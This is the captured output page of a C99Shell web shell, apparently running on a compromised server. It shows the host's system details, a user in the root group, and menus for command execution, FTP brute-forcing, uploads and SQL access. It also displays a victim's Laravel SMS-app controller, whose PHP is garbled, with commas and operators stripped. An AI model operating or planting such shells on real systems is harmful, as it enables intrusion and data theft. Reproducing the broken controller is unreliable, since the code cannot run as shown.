!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FromGroupController.php (7.37 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
App\Models\Campaign;
use 
App\Models\FromGroup;
use 
App\Models\FromGroupNumber;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Artisan;

class 
FromGroupController extends Controller
{
    public function 
index()
    {
        return 
view('customer.from_group.index');
    }
    public function 
show()
    {
        
$customers auth('customer')->user()->from_groups()->select(['id''name''status']);
        return 
datatables()->of($customers)
            ->
addColumn('numbers', function ($q) {
                
$c = [];
                
$from_numbers FromGroupNumber::where('group_id'$q->id)->get();
                foreach (
$from_numbers as $contact) {
                    
$c[] = trim($contact->number);
                }
                
$count count($c);
                
$text $count >= 100 ' and more ' . ($q->from_group_numbers()->count() - $count) : '';
                return 
"<div class='show-more' style='max-width: 500px;white-space: pre-wrap'>" implode(", "$c) . $text " </div>";
            })
            ->
addColumn('status', function ($q) {
                if (
$q->status == 'active') {
                    
$status '<strong class="text-white bg-success px-2 py-1 rounded status-font-size"> ' ucfirst($q->status) . ' </strong>';
                } else {
                    
$status '<strong class="text-white bg-danger px-2 py-1 rounded status-font-size"> ' ucfirst($q->status) . ' </strong>';
                }
                return 
$status;
            })
            ->
addColumn('action', function ($q) {

                return 
"<a class='btn btn-sm btn-info' href='" route('customer.from-group.edit', [$q]) . "' title='Edit'><i class='fa fa-pencil-alt'></i></a> &nbsp; &nbsp;" .
                    
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to delete this from-group? <br><span class=\'text-danger text-sm\'>This will delete all the from numbers assigned to this group</span></br>"
                                        data-action=' 
route('customer.from-group.destroy', [$q]) . '
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm" title="Delete"><i class="fa fa-trash"></i></button>'
;
            })
            ->
rawColumns(['action''numbers''status'])
            ->
toJson();
    }
    public function 
create()
    {
        
$all_numbers = [];
        
$numbers auth('customer')->user()->numbers()->get();
        foreach (
$numbers as $number) {
            if (
$number->sms_capability && $number->sms_capability == 'yes') {
                
$all_numbers['sms_numbers'][] = $number;
            }
            if (
$number->mms_capability && $number->mms_capability == 'yes') {
                
$all_numbers['mms_numbers'][] = $number;
            }
            if (
$number->voice_capability && $number->voice_capability == 'yes') {
                
$all_numbers['voice_numbers'][] = $number;
            }
            if (
$number->whatsapp_capability && $number->whatsapp_capability == 'yes') {
                
$all_numbers['whatsapp_numbers'][] = $number;
            }
        }

        
$data['numbers'] = $all_numbers;
        return 
view('customer.from_group.create'$data);
    }

    public function 
store(Request $request)
    {

        
$request->validate([
            
'name' => 'required|unique:from_groups,name',
            
'status' => 'required|in:active,inactive',
            
'type' => 'required|in:sender_id,mms,voice,number',
        ]);

        
$from_number = [];
        if (
$request->type == 'mms') {
            
$from_number $request->mms_numbers;
        } else if (
$request->type == 'whatsapp') {
            
$from_number $request->whatsapp_numbers;
        } else if (
$request->type == 'voice') {
            
$from_number $request->voice_numbers;
        } else {
            
$from_number $request->from_numbers;
        }
        if (!
$from_number || count($from_number) < 1) {
            return  
redirect()->back()->withErrors(['failed' => trans('customer.messages.al_last_one_number_need')]);
        }
        
$from_group auth('customer')->user()->from_groups()->create($request->only('name''status''type'));
        
$fromGroupNumbers = [];
        foreach (
$request->from_numbers as $number) {
            
$fromGroupNumbers[] = [
                
'group_id'=>$from_group->id,
                
'number' => $number
            
];
        }
        if (
$fromGroupNumbers) {
            
FromGroupNumber::insert($fromGroupNumbers);
        }

        return 
redirect()->route('customer.from-group.index')->with('success'trans('customer.messages.from_group_created'));
    }

    public function 
edit(FromGroup $from_group)
    {
        
$data['group'] = $from_group;
        
$data['from_group_numbers'] = $from_group->from_group_numbers()->pluck('number');
        
$all_numbers = [];
        
$numbers auth('customer')->user()->numbers()->get();
        foreach (
$numbers as $number) {
            if (
$number->sms_capability && $number->sms_capability == 'yes') {
                
$all_numbers['sms_numbers'][] = $number;
            }
            if (
$number->mms_capability && $number->mms_capability == 'yes') {
                
$all_numbers['mms_numbers'][] = $number;
            }
            if (
$number->voice_capability && $number->voice_capability == 'yes') {
                
$all_numbers['voice_numbers'][] = $number;
            }
            if (
$number->whatsapp_capability && $number->whatsapp_capability == 'yes') {
                
$all_numbers['whatsapp_numbers'][] = $number;
            }
        }

        
$data['numbers'] = $all_numbers;
        return 
view('customer.from_group.edit'$data);
    }

    public function 
update(FromGroup $from_groupRequest $request)
    {
        
$request->validate([
            
'name' => 'required|unique:from_groups,name,' $from_group->id,
            
'status' => 'required|in:active,inactive',
            
'type' => 'required|in:sender_id,mms,voice,number',
        ]);
        
$from_group->update($request->only('name''status''type'));

        if (!
$request->from_numbers || count($request->from_numbers) < 1) {
            return  
redirect()->back()->withErrors(['failed' => trans('customer.messages.al_last_one_number_need')]);
        }

        
$fromGroupNumbers = [];
        foreach (
$request->from_numbers as $number) {
            
$fromGroupNumbers[] = [
                
'group_id'=>$from_group->id,
                
'number' => $number
            
];
        }
        
FromGroupNumber::where('group_id'$from_group->id)->delete();
        if (
$fromGroupNumbers) {
            
FromGroupNumber::insert($fromGroupNumbers);
        }


        return 
redirect()->route('customer.from-group.index')->with('success'trans('customer.messages.from_group_updated'));
    }

    public function 
destroy(FromGroup $from_group)
    {
        
$campaign Campaign::where('from_group_id'$from_group->id)->first();
        if (
$campaign) {
            return 
redirect()->back()->withErrors(['failed' => trans('customer.messages.from_group_used')]);
        }
        if (
$from_group->from_group_numbers()) {
            
$from_group->from_group_numbers()->delete();
        }
        
$from_group->delete();
        return 
redirect()->route('customer.from-group.index')->with('success'trans('customer.messages.from_group_deleted'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--